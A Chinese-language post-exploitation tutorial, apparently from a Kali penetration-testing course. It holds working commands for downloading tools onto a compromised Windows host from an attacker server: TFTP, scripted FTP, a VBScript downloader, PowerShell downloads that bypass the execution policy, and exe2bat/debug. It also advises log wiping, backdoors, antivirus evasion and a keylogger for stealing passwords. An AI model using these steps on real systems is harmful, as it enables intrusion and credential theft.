先来解释一下什么是后漏洞利用阶段。就是经过一系列简单或者复杂的操作后,你已经获取了目标机器当前的管理员权限,但是你这个管理员权限不一定一直会有效,说不定目标机器的主人明天就更新补丁,就把现有的一些缓冲区溢出的漏洞封死了。
所以我们要在还能拥有权限的这段时间,给自己开一个长久有效的后门。
一般在后漏洞利用阶段,我们主要做这些操作:
上传工具很容易理解,目标机器毕竟不是我们自己的,有我们所有需要的工具,目标机器现有的工具也不一定能满足你的需要,所以要根据实际情况,往目标机器里传入一些用于实现后续目的的工具。
提权是因为你进入目标机器,不一定是以管理员的身份进入,也许只是以普通用户的身份进入,这时候就需要想其他办法提升当前账号的权限,或者给自己弄一个管理员账号。不然后续的很多操作可能都会受到限制。
擦除攻击痕迹是比较重要的一个步骤,不管是操作系统的日志,还是应用程序的日志,都需要清理干净。我们前期的扫描、攻击动作,都会在目标系统留下相应的记录,就拿前面对SLmail的攻击作为例子,在目标机器的日志中会有对应的记录:
攻击机在目标机器留下的记录
最后安装后门,就是我们的最终目的。
后漏洞利用阶段最大的挑战是防病毒软件。防病毒软件都有很丰富的特征库,只要匹配上特征库,就会被当成病毒或者漏洞进行处理。而前面的操作,很多都会被防病毒软件识别出来并修改。
为了防止被防病毒软件的特征库匹配上,我们在选用传给目标机器的软件时,尽量选用合法的远程控制软件。比如目标机器是linux系统的话,curl和wget一般是所有Linux系统都会预装的工具,通过这两个工具很容易就能完成其他工具或者木马的下载安装,或者安装一.NETcat,也就能完成很多骚操作。而windows系统的dos界面的预装下载工具,其实是比较少接触和使用的,很多人都习惯了Windows图形化界面的工具。
像前面利用SLmail缓冲区溢出获取的远程控制,也就是shell,是一种非交互模式shell,类似nc的远程控制shell,
非交互模式shell和交互模式shell比较明显的不同有以下几点:
非交互模式shell无法进入子命令
所以我们要尽量实现交互模式的远程控制。只是获得了非交互式模式的远程控制,对于我们后续的操作还是有一些限制的。所以接下来我们主要介绍一些将工具传给目标主机的方法。
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一个传输文件的简单协议,绝大多数情况下基于UDP协议而实现,也不排除有部分TFTP协议是基于其它传输协议完成的。用来在客户机与服务器之间进行简单文件传输,提供不复杂、开销不大的文件传输服务。端口号为69。
TFTP没有身份校验的功能,所以没有成为主流的传输工具。现在主流的windows10是需要单独添加TFTP服务的,不能直接使用。以前的windowsXp是默认预装的,不过现在应该很少有人用xp了。而且现在的边界防火墙一般都会将tftp的数据包过滤掉,所以TFTP使用场景其实还是有些局限性的。
如何在windows10安装TFTP就不在这里展开了,网上有比较详细的教程帖子。这里主要演示将kali作为服务器,在windows环境下载服务器上的文件。
先要在作为服务器的机器上创建一个根目录,这个目录用于存放各种远程控制软件:
mkdir /tftp
修改tftp文件夹的拥有者,让谁都可以访问:
chown -R nobody /tftp/
找一些kali里默认存放着的一些控制工具到tftp文件夹:
cp /usr/share/windows-binaries/nc.exe /tftp
在
/usr/share/windows-binaries/目录下,存放了一些为windows机器准备的一些安装程序。
启动tftp的服务:
atftpd --daemon --port 69 /tftp
参数--daemon表示在后台运行,后面的--port就是指定端口。
可以通过检查端口来判断tftp的服务是否启动:
netstat -pantu | grep 69
需要注意的一点是,如果你的检查结果显示(最右边那项)进程不是atftpd,可能是你的权限还有问题,没有将tftp文件夹和里面的所有文件的拥有者改成nobody。
当然就算检查结果显示进程是atftpd,如果tftp文件夹里的文件不是nobody,后面其他机器想要下载也会有问题。所以只要有文件放入tftp文件夹,就执行一下上面修改文件拥有者的命令:
修改文件的权限
然后就可以在Windows机器去下载kali里的文件了:
tftp -i 192.168.0.102 get nc.exe
这里介绍两个kali里为Windows机器准备的三个程序。第一个是nc.exe,它的功能和netcat类似;第二个是whoami.exe,可以检查当前使用账户的权限;第三个是klogger.exe,一旦运行,就会记录所有键盘的敲击,对于盗取账户密码应该是很挺有用的。
kali默认是没有预装ftp工具的,所以需要自己选择一个ftp工具进行安装。ftp的工具有很多,比如vsftpd、pure-ftpd等等,这里使用的是vsftpd。
安装比较简单,直接一个命令就可以:
apt-get install vsftpd
如果下载不成功的话,可以到/etc/apt/sources.list文件里修改一下源地址。
vsftpd常用的命令如下:
# 启动服务
service vsftpd start
# 查看服务
service vsftpd status
# 停止服务
service vsftpd stop
# 重新启动服务
service vsftpd restart
可以先启动一下,看看能不能顺利启动:
检查vsftpd安装是否正确
接下来先要创建一个用于上传下载的目录,要给创建的这个目录修改一下权限,因为实际使用中会创建、修改文件,我这边图简便就直接777了:
创建上传/下载的目录
然后需要新建用户并设置密码:
新建用户
如果不明白useradd各个参数的使用,可以通过-h看一下使用说明。这里-d表示设置新用户的home目录,-s表示新用户的登录方式。
修改配置文件vsftpd.conf:
控制用户登录
还有将vsftpd.conf文件里的这个注释取消:
取消注释
取消这个注释是为了能够写入文件。
前面配置的时候是用/root/allowed_users文件来控制登录,那就要到对应位置创建文件:
设置登录用户
在配置了登录用户后,你可能会发现这些用户还是无法登录,那你就可以到黑名单文件看一下,你的用户是否在黑名单上面:
cat /etc/ftpusers
完成上述配置后重启一下vsftpd的服务,让配置生效:
重启vsftpd服务
这个时候已经可以正常使用ftp了,先在本地试一下:
本地使用ftp
换到windows环境下访问ftp:
ftp://ftpuser:ftpuser@192.168.0.102
别用浏览器直接输入命令,大概率会出现问题,到“我的电脑”地址栏输入命令,或者也可以使用ftp工具(Windows自带ftp工具)。
这里可能有些同学会想到我们最开始获取的都是非交互模式shell,无法正常完成账户名、密码的验证,也没有图形化界面可以使用。
其实可以换个思路,将所有目标机器上要执行的ftp命令,都写到目标机器的文本文件里,最后使用Windows上的ftp命令调用前面写的文本文件:
在目标机器制作ftp.txt文件
让ftp读取文本中的相关指令:
执行ftp.txt
可以查看一下是否获取到文件:
查看获取到的文件
vbscript能实现的功能很多,这里就演示一个让目标主机通过http访问我预先准备好的地址,将事先准备好的软件下载到目标主机。
因为要通过http访问,所以要启动一个服务,这里使用kali中自带的Apache服务:
service apache2 start
apache服务的默认目录在:/var/www/html,将要传给目标主机的软件移动或者复制到这个目录:
将软件存入预定位置
生成vbscript的脚本的命令如下:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strUrl, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
最后生成的vbscript脚本是这样的:
vbscript脚本
执行的时候需要使用cscript工具:
cscript wget.vbs http://192.168.0.102/whoami.exe whoami.exe
查看软件是否被下载:
检查下载的软件
vbscript相对以前,其实不是很被推崇了,现在比较新的Windows系统,都是推荐使用powershell,所以这里也介绍一种powershell传输软件的方式。
脚本比较简单:
$storngeDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = 'http://192.168.0.102/whoami.exe'
$file = 'D:w.exe'
$webclient.DownloadFile($url, $file)
在已经开启http服务的情况下,在Windows环境通过命令执行上面这个脚本:
powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
如果执行的时候遇到“远程服务器返回错误: (403) 已禁止。”,那应该是源文件的权限有问题,用chmod命令去修改一下权限就可以了。
执行命令中的一些参数-ExecutionPolicy主要是为了允许本地执行powershell脚本,感兴趣的可以通过-Help看一下帮助说明。
上面的脚本其实可以省略,直接在dos界面执行一个长命令:
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.0.102/whoami.exe', 'D:w.exe')
也能达到同样的效果:
下载软件
如果本地的执行策略比较严格,还是需要加上前面的那些参数。
还有powershell能使用的模块很多,不一定要用System.Net.WebClient,还有Invoke-WebRequest、Invoke-RestMethod、Start-BitTransfer都能达到同样的效果。具体使用哪一个模块,主要看你控制的机器具体版本,一般都是有什么用什么。
Debug工具是windows用来做汇编等的一个工具。在新一点的Windows10已经没有了,早一些的WindowsXp还是有的。如果你的目标机器是Windows10的系统,且现有条件让你必须使用debug,那你必须给目标机器安装一个debug工具,这就变成先有鸡还是先有蛋的问题了。不是很推荐debug这种方式传输软件。
先将要传递的软件进行压缩:
upx -9 whoami.exe
压缩不是必须的,只是当文件太大的时候,debug就无法转换成功,debug最大只能是64Kb。
用工具exe2bat.exe转换一下:
wine /usr/share/windows-binaries/exe2bat.exe whoami.exe whoami.txt
由于这个工具是Windows环境的,所以要通过wine工具来运行。可以看到输出的文档:
cat whoami.txt
在已经获取的非交互模式shell中,直接执行输出txt文档里面的内容,除最后两行外。
执行完之后,在被控制的目标机器上就会有一个123.hex文件:
目标机器生成123.hex
然后执行倒数第二行命令debug<123.hex,Windows就会进行一个汇编的工程,最终输出一个1.DLL文件,这个文件其实就是原来的exe文件。最后就是执行最后一行命令copy 1.dll whoami.exe,将文件还原成exe的可执行文件。